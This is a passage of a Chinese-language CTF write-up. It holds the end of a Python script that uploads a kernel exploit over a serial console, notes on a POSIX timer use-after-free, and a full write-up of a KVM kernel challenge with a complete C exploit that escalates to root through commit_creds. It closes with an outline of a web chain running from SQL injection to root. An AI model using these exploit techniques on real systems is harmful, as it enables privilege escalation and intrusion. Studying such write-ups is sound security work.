    for idx, content in enumerate(BLOCKS):
        name = 'p%02d' % idx
        expect = hashlib.md5(content.encode()).hexdigest()
        # here-doc 写块 + md5 校验回显(marker 用变量拼接避免明文回显串扰)
        cmd = ("cat > /home/ctf/%s <<'E9'\n%sE9\n"
               "m=POC; echo ${m}%02d $(md5sum /home/ctf/%s | cut -c1-32)\n"
               % (name, content, idx, name)).encode()
        for attempt in range(6):
            sess.send(cmd)
            m = sess.wait_for(rb'POC%02d\s+([0-9a-f]{32})' % idx, 20)
            if m and m.group(1).decode() == expect:
                break
            recover_shell(sess)   # 闭合引号 + Ctrl-C + 换行
        else:
            return False
    # 组装:cat 全部块 → base64 -d → gzip -dc → 终验 md5
    sess.send(b"cat /home/ctf/p[0-9][0-9] > /home/ctf/b64; "
              b"base64 -d /home/ctf/b64 | gzip -dc > /home/ctf/poc; "
              b"chmod +x /home/ctf/poc; "
              b"m=POC; echo ${m}BIN $(md5sum /home/ctf/poc | cut -c1-32)\n")
    ...
    return True
​
def run_exploit(sess):
    sess.send(b"cd /home/ctf; ./poc\n")
    flag = None
    end = time.time() + 300
    while time.time() < end:
        m = re.search(rb'FLAGMATCH:\s(flag{[^}\r\n]})', sess.buf)
        if m:
            flag = m.group(1).decode()
        if flag:
            break
        if not sess.pump(0.5):
            break
    if flag is None and re.search(rb'=== ROOT euid=0 ===', sess.buf):
        # root shell 已激活,直接命令抓 flag 兜底
        for cmd in [b"id\n",
                    b"grep -ao 'flag{[^}]}' /dev/vda | head -5\n"]:
            sess.send(cmd)
            time.sleep(1.5)
            m = re.search(rb'(flag{[^}\r\n]})', sess.buf)
            if m:
                flag = m.group(1).decode()
                break
    return flag
​
def main():
    while True:           # 无限循环:VM 过期后自动等新实例重试
        # 重连(平台单实例,过期作废后需等待)
        while True:
            try:
                sess.connect(); break
            except Exception:
                time.sleep(20)
        # 等 shell 可用(新 VM 可能正在启动)
        ok = False
        for i in range(60):
            if shell_sync(sess, timeout=5):  # m=QQ; echo ${m}X
                ok = True; break
            time.sleep(2)
        if not ok:
            sess.close(); continue
        if not upload(sess):
            sess.close(); continue
        flag = run_exploit(sess)
        if flag:
            open('FLAG.txt', 'w').write(flag + '\n')
            return 0
        sess.close()
        time.sleep(15)

flag

flag{2947d00e-16f8-43b4-b821-be010aeb53f2}

考点补充

  • 核心考点:CVE-2026-98260 的 POSIX CPU timer 生命周期错位——非 leader 线程 exec 时 de_thread() 已换 PID,而 posix_cpu_timers_exit() 排在 exec_mmap() 之后,exec_mmap() 被 SIGKILL 打断后清理被跳过,k_itimer 被 kfree_rcu() 释放却仍挂在存活任务的 timerqueue 上,父进程回收僵尸时 cleanup_timerqueue() 二次删除形成 UAF。

  • 关键技巧:用 50000 个单页 VMA + 3 个 CLONE_VM helper 争用 mmap_lock,使 mmap_read_lock_killable 能被 SIGKILL 打断(tgkill 返回 ESRCH 即时机已到);用 AIO ring 页(io_setup 返回地址直接当喷射页,省掉 64000 次 mremap)回收目标物理页;再靠 worker 消耗 CPU 触发 collect_posix_cputimers() 把 ctmr->handling = current 写进伪造页,从页内内核指针泄露 task_struct,最后由 rb_erase 的 tmp->__rb_parent_color = pc 把 task->cred 换成伪造 cred 并清零 uid/gid,配合启动前 fork 的 launcher execve 一个 4755 的 root 文件完成落地。

  • 常见坑:panic_on_oops=1 使任何内核 oops 都能整机重启,利用只能一次成功;LA57 下 direct map 在 ff11...,沿用 PoC 的 (value >> 48) == 0xffff 判定会让指针扫描全军覆没;/tmp 是 nosuid、/var/tmp 与 /dev/shm 不存在,setuid 文件必须落在 /home/ctf 且需先 chmod 777;串口会丢字节且 busybox ash 对超长行折行异常,必须按 76 字符行、26 行一块并逐块 md5 校验,失败要闭合引号并 Ctrl-C 恢复 shell。

  • 延伸:这道题把"公开 CVE + 官方内核源码 + 非标准构建"变成环境适配题,真正的工程量在版本指纹(build id、/proc/config.gz 差异、补丁 acb03d388181 是否合入)和 pahole/BTF 偏移核对上;同类 POSIX timer、de_thread()、cleanup_timerqueue() 相关的 UAF 也常见于 execve 失败路径,排查思路是沿着"对象被释放但仍在队列里"的注册/注销不对称去找,并注意 userns、io_uring、BPF 被关闭后只剩 syscall 这一层攻击面。

shadowledger

ShadowLedger 是一道 KVM 子系统的 kernel pwn(2026 春秋杯)。选手以 nobody(uid 65534)身份进入客户机,客户机内可用 /dev/kvm(权限 0666)与 /usr/bin/shadowctl;内核启动参数为 kaslr pti=on panic=-1,且 panic_on_oops=1,任何一次内核 oops 都会让整台客户机直接重启。目标是在客户机内提权到 root 并读取 /flag(root:0400)。客户机无网络、无编译器,payload 必须静态编译后经串口以 base64(gzip) 上传。

/dev/kvm 上挂了一组自定义 ioctl(0xaee0–0xaeef,另有 0x4020ae46 与 0x4040ae79),实现了一套“多重签名账本”:INIT / PUBLISH / CERTIFY / COSIGN / SETTLE / ACCEPT / FOLD / PREP / FLUSH 依次推进状态机,每一步都要满足前序步骤写进 session 的哈希、计数器与私有页条件。每个 tenant(一个 KVM VM)对应一个 session(下称 broker);PUBLISH 分配 receipt 对象 R 与共享的 pub 对象,ACCEPT 把 pub 挂到接收方 session 的 sess[0x1e0] / sess[0x1e8]。

题目内核 vmlinux 无符号表且 CONFIG_KALLSYMS=n(没有 /proc/kallsyms,panic 只打印裸地址),全部逻辑靠 objdump 静态还原。逆向得到的关键约定如下:

session 偏移

含义

0x110

session key(SL_READ 可读)

0x1e0 / 0x1e8

pub 对象指针

0x250

状态机(PREP 之后为 7)

0x280

CERTIFY 输出的 X

0x2b0

session key

0x2c8 / 0x2d0 / 0x2d8 / 0x2e0 / 0x2e8

容器描述符,来自 R[0x80..0xa0],由 FOLD 安装

0x308..0x348

SL_WRITE 可写窗口

0x3e0..0x408

容器数据区

0x410 / 0x418 / 0x420 / 0x428

"SLCONTOP" / 0 / fn / checksum

pub 对象的布局为:[0x40]=R、[0x48]=编码后的 session、[0x50]=sess、[0x68]=gate 指针、[0x70]="SLCGATE01"。

FLUSH 是唯一能间接调用的地方,其判定链为:

container = sess[0x2d0] ^ rol(key,17)   (必须落在 [sess+0x3b0, sess+0x428])
container[0] 必须等于 "SLCONTOP"
container[0x18] 必须等于 rol(K ^ container ^ container[0x10] ^ pub[0x68], 23),其中 K = key ^ X
token = sess[0x2d8] ^ rol(key,17),必须等于 pub[0x68]
call container0x10

此外 SL_MAP 是一个以 R[0x60] 为基址的相对写,但目标必须落在 [sess+0x308,0x348] ∪ [sess+0x3e0,0x428] 且要求 R[0x68]==1;SL_WRITE 写 sess+0x308+off(off≤0x40);SL_SLOT 在同一个 0xdc0 kmem_cache 上分配/释放可完全控制 [0x18,0xc0) 的对象。

发布者 VM 关闭时,session 清场会沿着自己的链表把 receipt R 用 kmem_cache_free 释放掉,但共享 pub 的 pub[0x40] 仍指向 R(ACCEPT 早已把 pub 挂到接收方 session)。由于 R 与 SL_SLOT 的对象同属一个 0xdc0 kmem_cache,一次 SL_SLOT 分配即可回收 R,从而完全控制 R 的内容——包括 SL_MAP 的基址 R[0x60]、门闩 R[0x68],以及 FOLD 用来安装容器描述符的 R[0x80..0xa0]。整条利用链从这里展开。

利用流程

  1. 六个 tenant 分工:A 发布、B/C 见证、D 接收、E 结算、F 备用。每个 tenant 先 INIT,再做三段 WINDOW;WINDOW 配合自定义属性钩子 ioctl(0x4020ae46) 把计数器调到 FOLD 要求的 (X&7)+3。

  2. A 执行 PUBLISH 得到 tag/key,B、C 各 CERTIFY 一次,E SETTLE,D ACCEPT。随后读取 sess[0x110](key)与 R[0x08](泄漏发布者 session,作为后续扫描锚点),关闭 A 的 VM 触发 UAF,再读 R[0x70] 得到 gate 指针。

  3. 用 SL_SLOT 回收 R,按 FOLD 的十三项前置条件布置字段:R[0x28] 的低字节用 256 次爆破对齐哈希;属性钩子会清掉 memslot 的 private 标志,需要把 memslot 删除再重建才能恢复 flags&4;全局私有页条件用 SL_BIND + eventfd 满足。

  4. SL_MAP 的越界检查可以当作探针:目标必须落在 [sess+0x308,0x348],而 session 是 0x800 对齐的,因此按 sessA+0x308+k*0x800 扫描即可在 ±64MB 内稳定命中,得到接收方 session 基址。

  5. 用 FOLD 安装容器描述符:R[0x88]=(sess+0x410)^rol(key,17)、R[0x90]=token^rol(key,17);接着 co-sign、用 SL_WRITE 把 sess[0x328] 置 1、PREP 由内核在 sess+0x410 生成容器("SLCONTOP"、fn、checksum)。此时容器里的 fn 仍是内核写入的空回调。

  6. KASLR:容器校验和只依赖 K、container、fn 与 pub[0x68],而 token 检查排在校验和之后。把 R[0x90] 故意写成错误的 token,于是校验和命中时 FLUSH 返回 -13、不命中返回 -129,不会触发 oops,等于得到一个可以安全试错的预言机;按 2MB 粒度枚举 512 次即可得到真实 slide。

  7. 提权:SL_INIT 里执行过 prepare_kernel_cred(&init_task),其返回值就是 pub[0x68] 保存的 gate 对象——一个 uid=0、带全 capability 的 cred。因此只需把容器 fn 改成 commit_creds、checksum 按同一公式重算,FLUSH 就会执行 commit_creds(root_cred),随后进程即为 root,直接读 /flag。

关键符号地址

静态定位到的关键地址(link-time,按 slide 平移即可):

符号

地址

偏移

kernel base

0xffffffff81000000

—

init_task

0xffffffff8280aa00

0x180aa00

init_cred

0xffffffff8280b6c0

0x180b6c0

prepare_kernel_cred

0xffffffff8137d120

0x37d120

commit_creds

0xffffffff8137ce70

0x37ce70

容器默认 fn

0xffffffff812437d0

0x2437d0

task_struct 的 cred

+0x7d0

—

current_task(gs 基址)

0xffffffff833d4018

—

其中 commit_creds 由“同一寄存器连续写入 [task+0x7c8] 与 [task+0x7d0]”的特征命中,cred 偏移由 __x64_sys_getuid 反查得到,init_task 则由 init_task.real_cred / init_task.cred 双指针同时指向 init_cred 反推。

在远程实例上的实际输出(KASLR slide=83):

[*] init/window ok
[*] ledger accepted
[*] key=0x4fbc523d384c2874 token=0xffff994541b92c00 need=2
[*] fold #1 ok
[*] session=0xffff994541cb1000 (scan 32750)
[*] container prepared
[*] kaslr slide=83 base=0xffffffff8b600000
[*] flush=-129
[+] FLAG: flag{08b3e8cfd4f0c64455890887ff04ee51}

本题的“账本”看似把角色拆得很细,破绽在于 receipt 的生存期与共享 pub 的引用计数脱节:只要让发布者的 VM 先死,接收方手里的 pub 就成了指向已释放对象的跳板。后半程的关键是发现 FLUSH 的返回值在校验和命中与不命中之间存在 -13/-129 的差异,从而把 KASLR 变成一个可以安全枚举的量;而 SL_INIT 里 prepare_kernel_cred 留下的那份 root cred,让最后的提权只需要覆盖一个函数指针。

EXP

// ShadowLedger final exploit
//  guest: nobody -> root via KVM subsystem UAF
//  key facts (link-time): commit_creds=0xffffffff8137ce70, table_fn=0xffffffff812437d0
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#define KVM_CREATE_VM 0xae01
#define KVM_CREATE_VCPU 0xae41
#define KVM_CREATE_GUEST_MEMFD 0xc040aed4UL
#define KVM_SET_USER_MEMORY_REGION2 0x40a0ae49UL
#define KVM_SET_MEMORY_ATTRIBUTES 0x4020aed2UL
#define SL_INIT  0xaee0UL
#define SL_FLUSH 0xaeebUL
#define SL_WINDOW 0x4070aeedUL
#define SL_PUBLISH 0xc070aee1UL
#define SL_CERTIFY 0xc070aee2UL
#define SL_SETTLE 0xc050aee5UL
#define SL_ACCEPT 0x4070aee3UL
#define SL_FOLD  0x4070aee4UL
#define SL_READ  0xc020aee7UL
#define SL_WRITE 0x4020aee8UL
#define SL_PREP  0x4020aee9UL
#define SL_SLOT  0xc0c0aeeeUL
#define SL_MAP  0x4088aeeaUL
#define SL_COSIGN 0x4050aee6UL
#define SL_BIND  0x4040ae79UL
#define SL_ATTRP 0x4020ae46UL
#define KBASE_LINK 0xffffffff81000000ULL
#define OFF_TABLE_FN 0x2437d0ULL     /* 0xffffffff82406910 -> 0xffffffff812437d0 */
#define OFF_COMMIT  0x37ce70ULL     /* commit_creds */
struct gmemfd { uint64_t size, flags, rsv[6]; };
struct region2 {
  uint32_t slot, flags;
  uint64_t gpa, size, uaddr, gmem_offset;
  uint32_t gmem_fd, pad1;
  uint64_t pad2[14];
};
struct attrs { uint64_t addr, size, attr, flags; };
static int kvm_fd;
static long xio(int fd, unsigned long req, void *arg)
{
  errno = 0;
  long r = ioctl(fd, req, arg);
  return r < 0 ? -errno : r;
}
struct tenant { int vm, gfd, gfd2, vcpu; char name; };
static struct tenant T[8];
static uint64_t mix64(uint64_t x)
{
  x ^= x >> 33; x *= 0xff51afd7ed558ccdULL;
  x ^= x >> 33; x *= 0xc4ceb9fe1a85ec53ULL;
  x ^= x >> 33; return x;
}
static uint64_t rol64(uint64_t x, int n) { return (x << n) | (x >> (64 - n)); }
static const uint64_t GPA = 0x100000, GSZ = 0x200000;
static const uint64_t GFN = GPA >> 12;
static const int MSLOT = 3;
static const uint64_t GPA2 = 0x0, GSZ2 = 0x40000;
static const int MSLOT2 = 5;
static int mkvm(struct tenant *t, char nm)
{
  memset(t, 0, sizeof(*t));
  t->name = nm;
  t->vm = ioctl(kvm_fd, KVM_CREATE_VM, 1);
  if (t->vm < 0) { printf("[!] create_vm %c: %d\n", nm, errno); return -1; }
  struct gmemfd g; memset(&g, 0, sizeof(g)); g.size = 0x1000000;
  t->gfd = ioctl(t->vm, KVM_CREATE_GUEST_MEMFD, &g);
  struct region2 r; memset(&r, 0, sizeof(r));
  r.slot = MSLOT; r.flags = 4; r.gpa = GPA; r.size = GSZ; r.gmem_fd = (uint32_t)t->gfd;
  if (xio(t->vm, KVM_SET_USER_MEMORY_REGION2, &r)) { printf("[!] region %c\n", nm); return -1; }
  struct gmemfd g2; memset(&g2, 0, sizeof(g2)); g2.size = 0x100000;
  t->gfd2 = ioctl(t->vm, KVM_CREATE_GUEST_MEMFD, &g2);
  struct region2 r2; memset(&r2, 0, sizeof(r2));
  r2.slot = MSLOT2; r2.flags = 4; r2.gpa = GPA2; r2.size = GSZ2; r2.gmem_fd = (uint32_t)t->gfd2;
  if (xio(t->vm, KVM_SET_USER_MEMORY_REGION2, &r2)) { printf("[!] region2 %c\n", nm); return -1; }
  t->vcpu = ioctl(t->vm, KVM_CREATE_VCPU, 0);
  return 0;
}
static long sl_attr(struct tenant *t, uint64_t gpa, uint64_t size, uint64_t attr)
{
  struct attrs a; memset(&a, 0, sizeof(a));
  a.addr = gpa; a.size = size; a.attr = attr;
  return xio(t->vm, KVM_SET_MEMORY_ATTRIBUTES, &a);
}
static long sl_window(struct tenant *t, uint32_t phase, uint64_t gfn)
{
  unsigned char b[112]; memset(b, 0, sizeof(b));
  *(uint32_t *)(b + 4) = phase;
  *(uint64_t *)(b + 8) = gfn;
  return xio(t->vm, SL_WINDOW, b);
}
static long sl_publish(struct tenant *t, uint32_t slot, uint64_t gfn, uint64_t *out)
{
  unsigned char b[112]; memset(b, 0, sizeof(b));
  *(uint32_t *)(b + 0) = slot;
  *(uint64_t *)(b + 8) = gfn;
  long r = xio(t->vm, SL_PUBLISH, b);
  if (out) memcpy(out, b, 112);
  return r;
}
static long slot_alloc(struct tenant *t, uint32_t idx, unsigned char *payload)
{
  unsigned char b[192]; memset(b, 0, sizeof(b));
  *(uint32_t *)(b) = 1; *(uint32_t *)(b + 4) = idx;
  if (payload) memcpy(b + 0x18, payload, 0xa8);
  return xio(t->vm, SL_SLOT, b);
}
static long slot_free(struct tenant *t, uint32_t idx)
{
  unsigned char b[192]; memset(b, 0, sizeof(b));
  *(uint32_t *)(b) = 2; *(uint32_t *)(b + 4) = idx;
  return xio(t->vm, SL_SLOT, b);
}
static long sl_read(int vm, uint64_t off, uint64_t *out)
{
  unsigned char b[32]; memset(b, 0, sizeof(b));
  *(uint64_t *)(b) = off; *(uint64_t *)(b + 8) = 8;
  long r = xio(vm, SL_READ, b);
  if (out) *out = *(uint64_t *)(b + 0x10);
  return r;
}
static long attr_gate(int vm, uint16_t slot, uint64_t start, uint64_t size)
{
  unsigned char b[64]; memset(b, 0, sizeof(b));
  *(uint16_t *)(b) = slot;
  *(uint64_t *)(b + 8) = start;
  *(uint64_t *)(b + 0x10) = size;
  return xio(vm, SL_ATTRP, b);
}
static long sl_bind(int vm, uint64_t start, uint32_t cnt, int efd)
{
  unsigned char b[64]; memset(b, 0, sizeof(b));
  *(uint64_t *)(b + 8) = start;
  *(uint32_t *)(b + 0x10) = cnt;
  *(uint32_t *)(b + 0x14) = (uint32_t)efd;
  return xio(vm, SL_BIND, b);
}
static uint64_t g_key, g_tag, g_X, g_E38, g_tok, g_W10;
static unsigned char pl[0xa8];
#define RF(off, val) (*(uint64_t *)(pl + ((off) - 0x18)) = (uint64_t)(val))
static void reforge(void) { slot_free(&T[3], 0); slot_alloc(&T[3], 0, pl); }
static long do_fold(uint32_t slot, uint64_t tok)
{
  unsigned char fb[136]; memset(fb, 0, sizeof(fb));
  *(uint32_t *)(fb + 0) = slot;
  *(uint64_t *)(fb + 0x50) = tok;
  return xio(T[3].vm, SL_FOLD, fb);
}
/* SL_MAP: write qwords at broker+base_off ; base passed through R[0x60] */
static long map_write(uint64_t base, const uint64_t *offs, const uint64_t *vals, int cnt)
{
  RF(0x60, base); RF(0x68, 1);
  reforge();
  unsigned char mb[136]; memset(mb, 0, sizeof(mb));
  *(uint32_t *)(mb) = (uint32_t)cnt;
  for (int i = 0; i < cnt; i++) {
    *(uint64_t *)(mb + 8 + i * 8) = offs[i];
    *(uint64_t *)(mb + 0x48 + i * 8) = vals[i];
  }
  return xio(T[3].vm, SL_MAP, mb);
}
int main(void)
{
  setbuf(stdout, NULL);
  kvm_fd = open("/dev/kvm", O_RDWR);
  if (kvm_fd < 0) { perror("open /dev/kvm"); return 1; }
  for (int i = 0; i < 6; i++) if (mkvm(&T[i], 'A' + i)) return 1;
  for (int i = 0; i < 5; i++) {
    long r = xio(T[i].vm, SL_INIT, NULL);
    if (r) { printf("[!] INIT %c = %ld\n", T[i].name, r); return 1; }
    sl_attr(&T[i], GPA, 0x1000, 8);
    r = sl_window(&T[i], 1, GFN);
    if (r) { printf("[!] WIN1 %c = %ld\n", T[i].name, r); return 1; }
    sl_attr(&T[i], GPA, 0x1000, 0);
    r = sl_window(&T[i], 2, GFN);
    if (r) { printf("[!] WIN2 %c = %ld\n", T[i].name, r); return 1; }
    sl_attr(&T[i], GPA, 0x1000, 8);
    r = sl_window(&T[i], 3, GFN);
    if (r) { printf("[!] WIN3 %c = %ld\n", T[i].name, r); return 1; }
  }
  printf("[*] init/window ok\n");
  uint64_t pub[14];
  if (sl_publish(&T[0], MSLOT, GFN, pub)) { printf("[!] PUBLISH\n"); return 1; }
  g_tag = pub[3]; g_key = pub[6];
  unsigned char sc[112];
  memset(sc, 0, sizeof(sc));
  *(uint64_t *)(sc + 0x18) = g_tag;
  *(uint64_t *)(sc + 0x30) = g_key;
  if (xio(T[1].vm, SL_CERTIFY, sc)) { printf("[!] CERTIFY1\n"); return 1; }
  g_X = *(uint64_t *)(sc + 0x38); g_E38 = *(uint64_t *)(sc + 0x40);
  memset(sc, 0, sizeof(sc));
  *(uint64_t *)(sc + 0x18) = g_tag;
  *(uint64_t *)(sc + 0x30) = g_key;
  if (xio(T[2].vm, SL_CERTIFY, sc)) { printf("[!] CERTIFY2\n"); return 1; }
  unsigned char sb[80]; memset(sb, 0, sizeof(sb));
  *(uint64_t *)(sb + 0x00) = 3;
  *(uint64_t *)(sb + 0x10) = g_key;
  *(uint64_t *)(sb + 0x18) = g_X;
  if (xio(T[4].vm, SL_SETTLE, sb)) { printf("[!] SETTLE\n"); return 1; }
  g_W10 = *(uint64_t *)(sb + 0x20);
  memset(sc, 0, sizeof(sc));
  *(uint64_t *)(sc + 0x18) = g_tag;
  *(uint64_t *)(sc + 0x30) = g_key;
  *(uint64_t *)(sc + 0x40) = g_E38;
  if (xio(T[3].vm, SL_ACCEPT, sc)) { printf("[!] ACCEPT\n"); return 1; }
  printf("[*] ledger accepted\n");
  uint64_t keyd = 0;
  sl_read(T[3].vm, 0x110, &keyd);
  uint64_t sessA = 0;
  {
    uint64_t raw8 = 0;
    sl_read(T[3].vm, 0x08, &raw8);
    sessA = (raw8 ^ rol64(keyd, 29)) - 0x1d0;   /* publisher session hint */
  }
  close(T[0].gfd); close(T[0].gfd2); close(T[0].vcpu); close(T[0].vm);
  usleep(50000);
  uint64_t raw = 0;
  sl_read(T[3].vm, 0x70, &raw);
  g_tok = raw ^ rol64(keyd, 29);           /* == root cred object */
  int need = (int)(mix64(g_tok) & 3) + 1;
  if (!g_tok) { printf("[!] no token\n"); return 1; }
  printf("[*] key=%#llx token=%#llx need=%d\n",
      (unsigned long long)keyd, (unsigned long long)g_tok, need);
  memset(pl, 0, sizeof(pl));
  RF(0x20, GFN);
  RF(0x28, pub[2]);
  RF(0x50, 3);
  RF(0x58, 2);
  RF(0x60, 0);
  RF(0x68, 0);
  RF(0x70, g_tok);
  RF(0x80, 2);
  RF(0x88, 0);
  RF(0x90, g_tok ^ rol64(keyd, 17));
  if (slot_alloc(&T[3], 0, pl)) { printf("[!] reclaim r\n"); return 1; }
  int efd = (int)syscall(290, 0, 0);
  {
    uint64_t n = (g_key >> 4) & 7;
    sl_bind(T[3].vm, (n + 1) * 0x1000, 4, efd);
  }
  {
    int k = (int)(g_X & 7);
    for (int i = 0; i < k; i++) sl_attr(&T[3], GPA2 + (uint64_t)i * 0x1000, 0x1000, 8);
  }
  for (int i = 0; i < need; i++) {
    attr_gate(T[3].vm, MSLOT, GPA, 0);
    if (i != need - 1) attr_gate(T[3].vm, MSLOT, GPA, GSZ);
  }
  {
    struct region2 d; memset(&d, 0, sizeof(d));
    d.slot = MSLOT; d.gpa = GPA; d.size = 0;
    xio(T[3].vm, KVM_SET_USER_MEMORY_REGION2, &d);
    struct gmemfd ng; memset(&ng, 0, sizeof(ng)); ng.size = 0x1000000;
    int nfd = ioctl(T[3].vm, KVM_CREATE_GUEST_MEMFD, &ng);
    struct region2 ra; memset(&ra, 0, sizeof(ra));
    ra.slot = MSLOT; ra.flags = 4; ra.gpa = GPA; ra.size = GSZ; ra.gmem_fd = (uint32_t)nfd;
    for (int i = 0; i < 40; i++) {
      if (xio(T[3].vm, KVM_SET_USER_MEMORY_REGION2, &ra) == 0) { close(T[3].gfd); T[3].gfd = nfd; break; }
      usleep(2000);
    }
  }
  sl_attr(&T[3], GPA, 0x1000, 8);
  sl_window(&T[3], 1, GFN);
  uint64_t r14 = mix64((uint64_t)need * 0x9e3779b97f4a7c15ULL
             ^ (uint64_t)need * 0xc2b2ae3d27d4eb4fULL
             ^ ((uint64_t)MSLOT << 32)
             ^ 3ULL * 0x165667b19e3779f9ULL);
  long fr = -1;
  for (int cand = 0; cand < 256; cand++) {
    RF(0x28, (r14 & ~0xffULL) | (uint64_t)cand);
    reforge();
    fr = do_fold(MSLOT, g_tok);
    if (fr == 0) break;
  }
  if (fr) { printf("[!] FOLD1=%ld\n", fr); return 1; }
  printf("[*] fold #1 ok\n");
  /* ---- find the session object ---- */
  uint64_t bk = 0;
  {
    uint64_t base = sessA;
    unsigned long long n = 0;
    for (long long d = -0x4000000; d <= 0x4000000; d += 0x800) {
      uint64_t cand = base + 0x308 + (uint64_t)d;
      RF(0x68, 1);
      RF(0x60, cand);
      reforge();
      unsigned char mb[136]; memset(mb, 0, sizeof(mb));
      *(uint32_t *)(mb) = 1;
      n++;
      if (xio(T[3].vm, SL_MAP, mb) == 0) { bk = cand - 0x308; break; }
      if ((n & 0x3fff) == 0) { /* re-arm slot in case of transient failure */
        slot_free(&T[3], 0);
        slot_alloc(&T[3], 0, pl);
      }
    }
    printf("[*] session=%#llx (scan %llu)\n", (unsigned long long)bk, n);
  }
  if (!bk) { printf("[!] session not found\n"); return 1; }
  uint64_t ct = bk + 0x410;
  uint64_t K = keyd ^ g_X;           /* checksum key */
  uint64_t tok = g_tok;
  /* ---- FOLD #2: container = sess+0x410, deliberately wrong token for the oracle ---- */
  {
    RF(0x88, ct ^ rol64(keyd, 17));
    RF(0x90, (tok ^ 1) ^ rol64(keyd, 17));
    RF(0x68, 0);
    RF(0x60, 0);
    reforge();
    long r = do_fold(MSLOT, tok);
    if (r) { printf("[!] FOLD2=%ld\n", r); return 1; }
  }
  {
    unsigned char cb[80]; memset(cb, 0, sizeof(cb));
    *(uint64_t *)(cb + 0x00) = 3;
    *(uint64_t *)(cb + 0x20) = g_W10;
    xio(T[3].vm, SL_COSIGN, cb);
  }
  {
    unsigned char z[0xa8]; memset(z, 0, sizeof(z));
    slot_alloc(&T[3], 1, z);
    slot_alloc(&T[3], 2, z);
    slot_free(&T[3], 1);
    slot_free(&T[3], 2);
  }
  {
    uint64_t r260 = 0;
    sl_read(T[3].vm, 0x108, &r260);
    unsigned char wb[32]; memset(wb, 0, sizeof(wb));
    *(uint64_t *)(wb) = 0x20;
    *(uint64_t *)(wb + 8) = 1 ^ r260 ^ rol64(keyd, 7);
    *(uint64_t *)(wb + 0x10) = 8;
    if (xio(T[3].vm, SL_WRITE, wb)) { printf("[!] write 0x328\n"); return 1; }
  }
  {
    uint64_t v2a8 = 0;
    sl_read(T[3].vm, 0x118, &v2a8);
    unsigned char pb[32]; memset(pb, 0, sizeof(pb));
    *(uint64_t *)(pb + 8) = v2a8;
    if (xio(T[3].vm, SL_PREP, pb)) { printf("[!] PREP\n"); return 1; }
  }
  printf("[*] container prepared\n");
  /* ---- safe KASLR oracle: correct checksum + wrong token => -13 ---- */
  uint64_t slide = ~0ULL;
  uint64_t offs[1] = { 0x48 };
  for (uint64_t s = 0; s < 512; s++) {
    uint64_t fn_guess = KBASE_LINK + OFF_TABLE_FN + (s << 21);
    uint64_t sum = rol64(K ^ ct ^ tok ^ fn_guess, 23);
    uint64_t vals[1] = { sum };
    if (map_write(bk + 0x3e0, offs, vals, 1)) continue;
    long fl = xio(T[3].vm, SL_FLUSH, NULL);
    if (fl == -13) { slide = s; break; }
  }
  if (slide == ~0ULL) { printf("[!] kaslr oracle failed\n"); return 1; }
  uint64_t kbase = KBASE_LINK + (slide << 21);
  printf("[*] kaslr slide=%llu base=%#llx\n", (unsigned long long)slide, (unsigned long long)kbase);
  /* ---- FOLD #3 with the real token so the call is reachable ---- */
  {
    RF(0x88, ct ^ rol64(keyd, 17));
    RF(0x90, tok ^ rol64(keyd, 17));
    RF(0x68, 0);
    RF(0x60, 0);
    reforge();
    long r = do_fold(MSLOT, tok);
    if (r) { printf("[!] FOLD3=%ld\n", r); return 1; }
  }
  /* ---- commit_creds(root_cred) ---- */
  {
    uint64_t fn = kbase + OFF_COMMIT;
    uint64_t sum = rol64(K ^ ct ^ tok ^ fn, 23);
    uint64_t o2[2] = { 0x40, 0x48 };
    uint64_t v2[2] = { fn, sum };
    if (map_write(bk + 0x3e0, o2, v2, 2)) { printf("[!] map container\n"); return 1; }
    long fl = xio(T[3].vm, SL_FLUSH, NULL);
    printf("[*] flush=%ld\n", fl);
  }
  /* ---- root? ---- */
  if (getuid() != 0 && geteuid() != 0) {
    printf("[!] still uid=%d euid=%d\n", getuid(), geteuid());
  }
  int fd = open("/flag", O_RDONLY);
  if (fd < 0) { printf("[!] open /flag: %d (uid=%d euid=%d)\n", errno, getuid(), geteuid()); }
  else {
    char buf[512]; int n = read(fd, buf, sizeof(buf) - 1);
    if (n > 0) { buf[n] = 0; printf("[+] FLAG: %s\n", buf); }
  }
  return 0;
}

flag 为 flag{08b3e8cfd4f0c64455890887ff04ee51}。

考点补充

  • 核心考点:KVM 自定义 ioctl 状态机里的生命周期漏洞——receipt 对象 R 的释放与共享 pub 的引用计数脱节,接收方 session 持有的 pub[0x40] 变成指向已释放 R 的悬垂指针;R 与 SL_SLOT 对象同属 0xdc0 kmem_cache,一次 SL_SLOT 分配即可完成类型混淆回收并完全控制 R 的字段。

  • 关键技巧:把 SL_MAP 的越界校验当页对齐探针(session 基址 0x800 对齐,按 +0x308 偏移在 ±64MB 内扫描)泄漏 broker 基址;利用 FLUSH 中“checksum 命中返回 -13、token 不匹配返回 -129”的差异,在 panic_on_oops=1 下构造不触发 oops 的 KASLR 预言机,2MB 粒度枚举 512 次;最后复用 SL_INIT 里 prepare_kernel_cred(&init_task) 残留的 root cred,改容器 fn 为 commit_creds 并重算 checksum 完成提权。

  • 常见坑:内核无符号表且无 /proc/kallsyms,所有地址只能靠 objdump 特征匹配(连续写 [task+0x7c8]/[task+0x7d0] 认 commit_creds、__x64_sys_getuid 反查 cred 偏移);FOLD 的十三项前置条件必须逐条满足——R[0x28] 低字节要 256 次爆破、属性钩子会清掉 memslot 的 private 位需删表重建、私有页条件要靠 SL_BIND+eventfd;checksum 公式里的 ct/tok/fn 一个都不能错,且 token 检查在 checksum 之后,顺序颠倒就拿不到安全的 -13/-129 差分。

  • 延伸:这类“共享对象持有已释放指针”的问题在 KVM 的 memslot、gmemfd、VM 销毁路径中反复出现,审计时应重点看 kvm_put_kvm/release 回调与其他对象交叉引用;无符号表场景下可把 init_task/init_cred 的互指关系、syscall 入口的寄存器用法作为锚点,配合 2MB 对齐的 slide 枚举把 KASLR 降级为可暴力搜索的量。

web

cwp

整体链路如下:

  • bulk 错位

    • 嵌套 bulk(借到 exec_bulk)

      • 二次错位(把 exec_articles_list 借给 tags 参数)

        • omit 绕过参数清洗 → posts_lookup 的 UNION SQL 注入

          • 注入行进入行缓存

            • snapshot_write 用伪造行执行写回

              • pending_changeset → changeset_publish → PUBLISH_AS

              • api_reload → ops(PUBLISH_AS 仍有效)

                • /api/users 创建 staff 账号

                  • 登录 → skin-editor 写 PHP

                    • www-data RCE

                      • hpxd vault 注入 + 命令拼接 → root

                        • /root/flag.txt

一、审计思路:哪些点值得串起来

1. 权限面

